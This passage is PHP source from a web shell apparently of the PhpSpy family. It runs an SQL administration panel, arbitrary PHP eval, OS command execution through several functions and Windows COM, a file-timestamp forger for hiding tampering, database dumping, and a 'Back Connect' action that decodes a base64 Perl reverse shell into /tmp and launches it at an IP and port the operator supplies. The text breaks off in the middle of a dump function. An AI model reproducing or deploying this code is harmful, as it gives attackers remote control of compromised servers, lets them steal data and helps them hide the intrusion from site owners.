p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
p('<td>'.$row['Field'].'</td>');
p('<td>'.$row['Type'].'</td>');
p('<td>'.$row['Null'].' </td>');
p('<td>'.$row['Key'].' </td>');
p('<td>'.$row['Default'].' </td>');
p('<td>'.$row['Extra'].' </td>');
p('</tr>');
}
tbfoot();
} elseif ($doing == 'insert' || $doing == 'edit') {
$result = q('SHOW COLUMNS FROM '.$tablename);
while ($row = mysql_fetch_array($result)) {
$rowdb[] = $row;
}
$rs = array();
if ($doing == 'insert') {
p('<h2>Insert new line in '.$tablename.' table »</h2>');
} else {
p('<h2>Update record in '.$tablename.' table »</h2>');
$where = base64_decode($base64);
$result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
$rs = mysql_fetch_array($result);
}
p('<form method="post" action="'.$self.'">');
p($dbform);
makehide('action','sqladmin');
makehide('tablename',$tablename);
p('<table border="0" cellpadding="3" cellspacing="0">');
foreach ($rowdb as $row) {
if ($rs[$row['Field']]) {
$value = htmlspecialchars($rs[$row['Field']]);
} else {
$value = '';
}
$thisbg = bg();
p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
}
if ($doing == 'insert') {
p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
} else {
p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
makehide('base64', $base64);
}
p('</table></form>');
} else {
$querys = @explode(';',$sql_query);
foreach($querys as $num=>$query) {
if ($query) {
p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
switch(qy($query))
{
case 0:
p('<h2>Error : '.mysql_error().'</h2>');
break;
case 1:
if (strtolower(substr($query,0,13)) == 'select * from') {
$allowedit = 1;
}
if ($getnumsql) {
$tatol = mysql_num_rows(q($getnumsql));
$multipage = multi($tatol, $pagenum, $page, $tablename);
}
if (!$tablename) {
$sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
$sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
$tablename = $matches[1][0];
}
$result = q($query);
p($multipage);
p('<table border="0" cellpadding="3" cellspacing="0">');
p('<tr class="head">');
if ($allowedit) p('<td>Action</td>');
$fieldnum = @mysql_num_fields($result);
for($i=0;$i<$fieldnum;$i++){
$name = @mysql_field_name($result, $i);
$type = @mysql_field_type($result, $i);
$len = @mysql_field_len($result, $i);
p("<td nowrap>$name<br><span>$type($len)</span></td>");
}
p('</tr>');
while($mn = @mysql_fetch_assoc($result)){
$thisbg = bg();
p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
$where = $tmp = $b1 = '';
foreach($mn as $key=>$inside){
if ($inside) {
$where .= $tmp.$key."='".addslashes($inside)."'";
$tmp = ' AND ';
}
$b1 .= '<td nowrap>'.html_clean($inside).' </td>';
}
$where = base64_encode($where);
if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
p($b1);
p('</tr>');
unset($b1);
}
tbfoot();
p($multipage);
break;
case 2:
$ar = mysql_affected_rows();
p('<h2>affected rows : <b>'.$ar.'</b></h2>');
break;
}
}
}
}
} else {
$query = q("SHOW TABLE STATUS");
$table_num = $table_rows = $data_size = 0;
$tabledb = array();
while($table = mysql_fetch_array($query)) {
$data_size = $data_size + $table['Data_length'];
$table_rows = $table_rows + $table['Rows'];
$table['Data_length'] = sizecount($table['Data_length']);
$table_num++;
$tabledb[] = $table;
}
$data_size = sizecount($data_size);
unset($table);
p('<table border="0" cellpadding="0" cellspacing="0">');
p('<form action="'.$self.'" method="POST">');
makehide('action','sqladmin');
p($dbform);
p('<tr class="head">');
p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
p('<td>Name</td>');
p('<td>Rows</td>');
p('<td>Data_length</td>');
p('<td>Create_time</td>');
p('<td>Update_time</td>');
if ($highver) {
p('<td>Engine</td>');
p('<td>Collation</td>');
}
p('</tr>');
foreach ($tabledb as $key => $table) {
$thisbg = bg();
p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
p('<td>'.$table['Rows'].'</td>');
p('<td>'.$table['Data_length'].'</td>');
p('<td>'.$table['Create_time'].'</td>');
p('<td>'.$table['Update_time'].'</td>');
if ($highver) {
p('<td>'.$table['Engine'].'</td>');
p('<td>'.$table['Collation'].'</td>');
}
p('</tr>');
}
p('<tr class='.bg().'>');
p('<td> </td>');
p('<td>Total tables: '.$table_num.'</td>');
p('<td>'.$table_rows.'</td>');
p('<td>'.$data_size.'</td>');
p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
p('</tr>');
p("<tr class=\"".bg()."\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
makehide('doing','backupmysql');
formfoot();
p("</table>");
fr($query);
}
}
}
tbfoot();
@mysql_close();
}//end sql backup
elseif ($action == 'backconnect') {
!$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
!$yourport && $yourport = '12345';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
if ($start && $yourip && $yourport && $use){
if ($use == 'perl') {
cf('/tmp/angel_bc',$back_connect);
$res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
} else {
cf('/tmp/angel_bc.c',$back_connect_c);
$res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
@unlink('/tmp/angel_bc.c');
$res = execute("/tmp/angel_bc $yourip $yourport &");
}
m("Now script try connect to $yourip port $yourport ...");
}
formhead(array('title'=>'Back Connect'));
makehide('action','backconnect');
p('<p>');
p('Your IP:');
makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
p('Your Port:');
makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
p('Use:');
makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
p('</p>');
formfoot();
}//end sql backup
elseif ($action == 'eval') {
$phpcode = trim($phpcode);
if($phpcode){
if (!preg_match('#<\?#si', $phpcode)) {
$phpcode = "<?php\n\n{$phpcode}\n\n?>";
}
eval("?".">$phpcode<?");
}
formhead(array('title'=>'Eval PHP Code'));
makehide('action','eval');
maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
p('<p><a href="http://www.4ngel.net.tr/phpspy/plugin/" target="_blank">Get plugins</a></p>');
formfooter();
}//end eval
elseif ($action == 'editfile') {
if(file_exists($opfile)) {
$fp=@fopen($opfile,'r');
$contents=@fread($fp, filesize($opfile));
@fclose($fp);
$contents=htmlspecialchars($contents);
}
formhead(array('title'=>'Create / Edit File'));
makehide('action','file');
makehide('dir',$nowpath);
makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
formfooter();
}//end editfile
elseif ($action == 'newtime') {
$opfilemtime = @filemtime($opfile);
//$time = strtotime("$year-$month-$day $hour:$minute:$second");
$cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
formhead(array('title'=>'Clone file was last modified time'));
makehide('action','file');
makehide('dir',$nowpath);
makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
formfooter();
formhead(array('title'=>'Set last modified'));
makehide('action','file');
makehide('dir',$nowpath);
makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
p('<p>Instead »');
p('year:');
makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
p('month:');
makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
p('day:');
makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
p('hour:');
makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
p('minute:');
makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
p('second:');
makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
p('</p>');
formfooter();
}//end newtime
elseif ($action == 'shell') {
if (IS_WIN && IS_COM) {
if($program && $parameter) {
$shell= new COM('Shell.Application');
$a = $shell->ShellExecute($program,$parameter);
m('Program run has '.(!$a ? 'success' : 'fail'));
}
!$program && $program = 'c:\windows\system32\cmd.exe';
!$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
formhead(array('title'=>'Execute Program'));
makehide('action','shell');
makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
p('<p>');
makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
p('</p>');
formfoot();
}
formhead(array('title'=>'Execute Command'));
makehide('action','shell');
if (IS_WIN && IS_COM) {
$execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
}
p('<p>');
makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
p('</p>');
formfoot();
if ($command) {
p('<hr width="100%" noshade /><pre>');
if ($execfunc=='wscript' && IS_WIN && IS_COM) {
$wsh = new COM('WScript.shell');
$exec = $wsh->exec('cmd.exe /c '.$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
} elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
$descriptorspec = array(
0 => array('pipe', 'r'),
1 => array('pipe', 'w'),
2 => array('pipe', 'w')
);
$process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
if (is_resource($process)) {
fwrite($pipes[0], $command."\r\n");
fwrite($pipes[0], "exit\r\n");
fclose($pipes[0]);
while (!feof($pipes[1])) {
echo fgets($pipes[1], 1024);
}
fclose($pipes[1]);
while (!feof($pipes[2])) {
echo fgets($pipes[2], 1024);
}
fclose($pipes[2]);
proc_close($process);
}
} else {
echo(execute($command));
}
p('</pre>');
}
}//end shell
elseif ($action == 'phpenv') {
$upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
$adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
!$dis_func && $dis_func = 'No';
$info = array(
1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
2 => array('Server Domain',$_SERVER['SERVER_NAME']),
3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
4 => array('Server OS',PHP_OS),
5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
8 => array('PHP run mode',strtoupper(php_sapi_name())),
9 => array('The file path',__FILE__),
10 => array('PHP Version',PHP_VERSION),
11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
12 => array('Safe Mode',getcfg('safe_mode')),
13 => array('Administrator',$adminmail),
14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
15 => array('enable_dl',getcfg('enable_dl')),
16 => array('display_errors',getcfg('display_errors')),
17 => array('register_globals',getcfg('register_globals')),
18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
19 => array('memory_limit',getcfg('memory_limit')),
20 => array('post_max_size',getcfg('post_max_size')),
21 => array('upload_max_filesize',$upsize),
22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
23 => array('disable_functions',$dis_func),
);
if($phpvarname) {
m($phpvarname .' : '.getcfg($phpvarname));
}
formhead(array('title'=>'Server environment'));
makehide('action','phpenv');
makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
formfooter();
$hp = array(0=> 'Server', 1=> 'PHP');
for($a=0;$a<2;$a++) {
p('<h2>'.$hp[$a].' »</h2>');
p('<ul class="info">');
if ($a==0) {
for($i=1;$i<=9;$i++) {
p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
}
} elseif ($a == 1) {
for($i=10;$i<=23;$i++) {
p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
}
}
p('</ul>');
}
}//end phpenv
else {
m('Undefined Action');
}
?>
</td></tr></table>
<div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
<span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
Copyright (C) 2004-2008
</div>
</body>
</html>
<?php
/*======================================================
???
======================================================*/
function m($msg) {
echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
echo $msg;
echo '</div>';
}
function scookie($key, $value, $life = 0, $prefix = 1) {
global $admin, $timestamp, $_SERVER;
$key = ($prefix ? $admin['cookiepre'] : '').$key;
$life = $life ? $life : $admin['cookielife'];
$useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
}
function multi($num, $perpage, $curpage, $tablename) {
$multipage = '';
if($num > $perpage) {
$page = 10;
$offset = 5;
$pages = @ceil($num / $perpage);
if($page > $pages) {
$from = 1;
$to = $pages;
} else {
$from = $curpage - $offset;
$to = $curpage + $page - $offset - 1;
if($from < 1) {
$to = $curpage + 1 - $from;
$from = 1;
if(($to - $from) < $page && ($to - $from) < $pages) {
$to = $page;
}
} elseif($to > $pages) {
$from = $curpage - $pages + $to;
$to = $pages;
if(($to - $from) < $page && ($to - $from) < $pages) {
$from = $pages - $page + 1;
}
}
}
$multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
for($i = $from; $i <= $to; $i++) {
$multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
}
$multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
$multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
}
return $multipage;
}
// ????
function loginpage() {
?>
<style type="text/css">
input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
</style>
<form method="POST" action="">
<span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
<input type="hidden" name="doing" value="login">
<input type="submit" value="Login">
</form>
<?php
exit;
}//end loginpage()
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,base64_decode($text));
@fclose($fp);
}
}
// ??????
function debuginfo() {
global $starttime;
$mtime = explode(' ', microtime());
$totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
echo 'Processed in '.$totaltime.' second(s)';
}
//?????
function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
p('<h2>Can not connect to MySQL server</h2>');
exit;
}
if($link && $dbname) {
if (!@mysql_select_db($dbname, $link)) {
p('<h2>Database selected has error</h2>');
exit;
}
}
if($link && mysql_get_server_info() > '4.1') {
if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
}
}
return $link;
}
// ??????
function s_array(&$array) {
if (is_array($array)) {
foreach ($array as $k => $v) {
$array[$k] = s_array($v);
}
} else if (is_string($array)) {
$array = stripslashes($array);
}
return $array;
}
// ??HTML??
function html_clean($content) {
$content = htmlspecialchars($content);
$content = str_replace("\n", "<br />", $content);
$content = str_replace(" ", " ", $content);
$content = str_replace("\t", " ", $content);
return $content;
}
// ????
function getChmod($filepath){
return substr(base_convert(@fileperms($filepath),10,8),-4);
}
function getPerms($filepath) {
$mode = @fileperms($filepath);
if (($mode & 0xC000) === 0xC000) {$type = 's';}
elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
else {$type = '?';}
$owner['read'] = ($mode & 00400) ? 'r' : '-';
$owner['write'] = ($mode & 00200) ? 'w' : '-';
$owner['execute'] = ($mode & 00100) ? 'x' : '-';
$group['read'] = ($mode & 00040) ? 'r' : '-';
$group['write'] = ($mode & 00020) ? 'w' : '-';
$group['execute'] = ($mode & 00010) ? 'x' : '-';
$world['read'] = ($mode & 00004) ? 'r' : '-';
$world['write'] = ($mode & 00002) ? 'w' : '-';
$world['execute'] = ($mode & 00001) ? 'x' : '-';
if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
}
function getUser($filepath) {
if (function_exists('posix_getpwuid')) {
$array = @posix_getpwuid(@fileowner($filepath));
if ($array && is_array($array)) {
return ' / <a href="#" title="User: '.$array['name'].'
Passwd: '.$array['passwd'].'
Uid: '.$array['uid'].'
gid: '.$array['gid'].'
Gecos: '.$array['gecos'].'
Dir: '.$array['dir'].'
Shell: '.$array['shell'].'">'.$array['name'].'</a>';
}
}
return '';
}
// ????
function deltree($deldir) {
$mydir=@dir($deldir);
while($file=$mydir->read()) {
if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
@chmod($deldir.'/'.$file,0777);
deltree($deldir.'/'.$file);
}
if (is_file($deldir.'/'.$file)) {
@chmod($deldir.'/'.$file,0777);
@unlink($deldir.'/'.$file);
}
}
$mydir->close();
@chmod($deldir,0777);
return @rmdir($deldir) ? 1 : 0;
}
// ??????????
function bg() {
global $bgc;
return ($bgc++%2==0) ? 'alt1' : 'alt2';
}
// ???????????
function getPath($scriptpath, $nowpath) {
if ($nowpath == '.') {
$nowpath = $scriptpath;
}
$nowpath = str_replace('\\', '/', $nowpath);
$nowpath = str_replace('//', '/', $nowpath);
if (substr($nowpath, -1) != '/') {
$nowpath = $nowpath.'/';
}
return $nowpath;
}
// ???????????
function getUpPath($nowpath) {
$pathdb = explode('/', $nowpath);
$num = count($pathdb);
if ($num > 2) {
unset($pathdb[$num-1],$pathdb[$num-2]);
}
$uppath = implode('/', $pathdb).'/';
$uppath = str_replace('//', '/', $uppath);
return $uppath;
}
// ??PHP????
function getcfg($varname) {
$result = get_cfg_var($varname);
if ($result == 0) {
return 'No';
} elseif ($result == 1) {
return 'Yes';
} else {
return $result;
}
}
// ??????
function getfun($funName) {
return (false !== function_exists($funName)) ? 'Yes' : 'No';
}
function GetList($dir){
global $dirdata,$j,$nowpath;
!$j && $j=1;
if ($dh = opendir($dir)) {
while ($file = readdir($dh)) {
$f=str_replace('//','/',$dir.'/'.$file);
if($file!='.' && $file!='..' && is_dir($f)){
if (is_writable($f)) {
$dirdata[$j]['filename']=str_replace($nowpath,'',$f);
$dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
$dirdata[$j]['dirchmod']=getChmod($f);
$dirdata[$j]['dirperm']=getPerms($f);
$dirdata[$j]['dirlink']=ue($dir);
$dirdata[$j]['server_link']=$f;
$dirdata[$j]['client_link']=ue($f);
$j++;
}
GetList($f);
}
}
closedir($dh);
clearstatcache();
return $dirdata;
} else {
return array();
}
}
function qy($sql) {
//echo $sql.'<br>';
$res = $error = '';
if(!$res = @mysql_query($sql)) {
return 0;
} else if(is_resource($res)) {
return 1;
} else {
return 2;
}
return 0;
}
function q($sql) {
return @mysql_query($sql);
}
function fr($qy){
mysql_free_result($qy);
}
function sizecount($size) {
if($size > 1073741824) {
$size = round($size / 1073741824 * 100) / 100 . ' G';
} elseif($size > 1048576) {
$size = round($size / 1048576 * 100) / 100 . ' M';
} elseif($size > 1024) {
$size = round($size / 1024 * 100) / 100 . ' K';
} else {
$size = $size . ' B';
}
return $size;
}
// ?????
class PHPZip{
var $out='';
function PHPZip($dir) {
if (@function_exists('gzcompress')) {
$curdir = getcwd();
if (is_array($dir)) $filelist = $dir;
else{
$filelist=$this -> GetFileList($dir);//????
foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
}
if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
else chdir($curdir);
if (count($filelist)>0){
foreach($filelist as $filename){
if (is_file($filename)){
$fd = fopen ($filename, 'r');
$content = @fread ($fd, filesize($filename));
fclose ($fd);
if (is_array($dir)) $filename = basename($filename);
$this -> addFile($content, $filename);
}
}
$this->out = $this -> file();
chdir($curdir);
}
return 1;
}
else return 0;
}
// ??????????
function GetFileList($dir){
static $a;
if (is_dir($dir)) {
if ($dh = opendir($dir)) {
while ($file = readdir($dh)) {
if($file!='.' && $file!='..'){
$f=$dir .'/'. $file;
if(is_dir($f)) $this->GetFileList($f);
$a[]=$f;
}
}
closedir($dh);
}
}
return $a;
}
var $datasec = array();
var $ctrl_dir = array();
var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
var $old_offset = 0;
function unix2DosTime($unixtime = 0) {
$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
if ($timearray['year'] < 1980) {
$timearray['year'] = 1980;
$timearray['mon'] = 1;
$timearray['mday'] = 1;
$timearray['hours'] = 0;
$timearray['minutes'] = 0;
$timearray['seconds'] = 0;
} // end if
return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
}
function addFile($data, $name, $time = 0) {
$name = str_replace('\\', '/', $name);
$dtime = dechex($this->unix2DosTime($time));
$hexdtime = '\x' . $dtime[6] . $dtime[7]
. '\x' . $dtime[4] . $dtime[5]
. '\x' . $dtime[2] . $dtime[3]
. '\x' . $dtime[0] . $dtime[1];
eval('$hexdtime = "' . $hexdtime . '";');
$fr = "\x50\x4b\x03\x04";
$fr .= "\x14\x00";
$fr .= "\x00\x00";
$fr .= "\x08\x00";
$fr .= $hexdtime;
$unc_len = strlen($data);
$crc = crc32($data);
$zdata = gzcompress($data);
$c_len = strlen($zdata);
$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
$fr .= pack('V', $crc);
$fr .= pack('V', $c_len);
$fr .= pack('V', $unc_len);
$fr .= pack('v', strlen($name));
$fr .= pack('v', 0);
$fr .= $name;
$fr .= $zdata;
$fr .= pack('V', $crc);
$fr .= pack('V', $c_len);
$fr .= pack('V', $unc_len);
$this -> datasec[] = $fr;
$new_offset = strlen(implode('', $this->datasec));
$cdrec = "\x50\x4b\x01\x02";
$cdrec .= "\x00\x00";
$cdrec .= "\x14\x00";
$cdrec .= "\x00\x00";
$cdrec .= "\x08\x00";
$cdrec .= $hexdtime;
$cdrec .= pack('V', $crc);
$cdrec .= pack('V', $c_len);
$cdrec .= pack('V', $unc_len);
$cdrec .= pack('v', strlen($name) );
$cdrec .= pack('v', 0 );
$cdrec .= pack('v', 0 );
$cdrec .= pack('v', 0 );
$cdrec .= pack('v', 0 );
$cdrec .= pack('V', 32 );
$cdrec .= pack('V', $this -> old_offset );
$this -> old_offset = $new_offset;
$cdrec .= $name;
$this -> ctrl_dir[] = $cdrec;
}
function file() {
$data = implode('', $this -> datasec);
$ctrldir = implode('', $this -> ctrl_dir);
return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
}
}
// ?????
function sqldumptable($table, $fp=0) {
$tabledump = "DROP TABLE IF EXISTS $table;\n";
$tabledump .= "CREATE TABLE $table (\n";
$firstfield=1;
$fields = q("SHOW FIELDS FROM $table");
while ($field = mysql_fetch_array($fields)) {
if (!$firstfield) {
$tabledump .= ",\n";
} else {
$firstfield=0;
}
$tabledump .= " $field[Field] $field[Type]";
if (!empty($field["Default"])) {
$tabledump .= " DEFAULT '$field[Default]'";
}
if ($field['Null'] != "YES") {
$tabledump .= " NOT NULL";
}
if ($field['Extra'] != "") {
$tabledump .= " $field[Extra]";
}
}
fr($fields);
$keys = q("SHOW KEYS FROM $table");
while ($key = mysql_fetch_array($keys)) {
$kname=$key['Key_name'];
if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
$kname="UNIQUE|$kname";
}
if(!is_array($index[$kname])) {
$index[$kname] = array();
}
$index[$kname][] = $key['Column_name'];
}
fr($keys);
while(list($kname, $columns) = @each($index)) {
$tabledump .= ",\n";
$colnames=implode($columns,",");
if ($kname == "PRIMARY") {
$tabledump .= " PRIMARY KEY ($colnames)";
} else {
if (substr($kname,0,6) == "UNIQUE") {
$kname=substr($kname,7);
}
$tabledump .= " KEY $kname ($colnames)";
}
}
$tabledump .= "\n);\n\n";
if ($fp) {
fwrite($fp,$tabledump);
} else {
echo $tabledump;
}
$rows = q("SELECT * FROM $table");
$numfields = mysql_num_fields($rows);
while ($row = mysql_fetch_array($rows)) {
$tabledump = "INSERT INTO $table VALUES(";
$fieldcounter=-1;
$firstfield=1;
while (++$fieldcounter<$numfields) {
if (!$firstfield) {
$tabledump.=", ";
} else {
$firstfield=0;
}
